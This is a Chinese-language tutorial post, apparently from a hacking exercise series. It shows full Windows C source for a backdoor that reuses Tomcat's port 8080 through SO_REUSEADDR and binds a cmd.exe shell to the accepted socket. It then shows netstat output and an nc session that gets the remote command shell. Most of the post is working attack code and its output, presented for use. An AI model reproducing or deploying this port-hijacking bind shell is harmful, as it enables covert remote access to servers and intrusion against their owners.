端口重用打开cmdshell

要重用的端口是tomcat的默认http端口8080。

源代码：

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

#define LISTEN_PORT 8080

int main() {
	WSADATA ws;
	SOCKET listenFD;
	WSAStartup(MAKEWORD(2, 2), &ws);
	listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
	BOOL val = TRUE;
	setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *) &val, sizeof(val));
	struct sockaddr_in server;
	server.sin_family = AF_INET;
	server.sin_port = htons(LISTEN_PORT);
	server.sin_addr.s_addr = inet_addr("127.0.0.1");
	bind(listenFD, (sockaddr *) &server, sizeof(server));
	listen(listenFD, 2);
	int iAddrSize = sizeof(server);
	SOCKET clientFD = accept(listenFD, (sockaddr *) &server, &iAddrSize);
	STARTUPINFO si;
	ZeroMemory(&si, sizeof(si));
	si.dwFlags = STARTF_USESTDHANDLES;
	si.hStdInput = si.hStdOutput = si.hStdError = (void *) clientFD;
	TCHAR cmdLine[] = L"cmd";
	PROCESS_INFORMATION ProcessInformation;
	CreateProcess(NULL, cmdLine, NULL, NULL, TRUE, NULL, NULL, NULL, &si,
			&ProcessInformation);
	return 0;
}

此时，已经启动tomcat，可以通过http://127.0.0.1:8080/来访问tomcat主页。

运行此程序时，如果没有重用端口，绑定到8080端口会失败。但是因为此程序重用了端口，所以还是成功的。

用netstat看一下：

D:\>netstat -an | find "8080"
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING
  TCP    127.0.0.1:8080         0.0.0.0:0              LISTENING

D:\>

看到有2个8080在监听。

case 1：此时如果用浏览器打开tomcat主页，是打不开的，会显示白色的页面，而且程序已经结束运行。

case 2：此时如果用nc去连，是可以打开cmdshell的：

D:\>nc 127.0.0.1 8080
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

D:\My Documents\Visual Studio 2010\Projects\hacker\05_4>dir
dir
 驱动器 D 中的卷是 本地磁盘
 卷的序列号是 6C97-9E44

 D:\My Documents\Visual Studio 2010\Projects\hacker\05_4 的目录

2013-07-22  22:55    <DIR>          .
2013-07-22  22:55    <DIR>          ..
2013-07-22  23:09             1,011 05_4.cpp
2013-07-22  22:53             3,916 05_4.vcxproj
2013-07-22  22:53               942 05_4.vcxproj.filters
2013-07-22  22:36               143 05_4.vcxproj.user
2013-07-22  23:09    <DIR>          Release
               4 个文件          6,012 字节
               3 个目录 34,079,305,728 可用字节

D:\My Documents\Visual Studio 2010\Projects\hacker\05_4>exit
exit

D:\>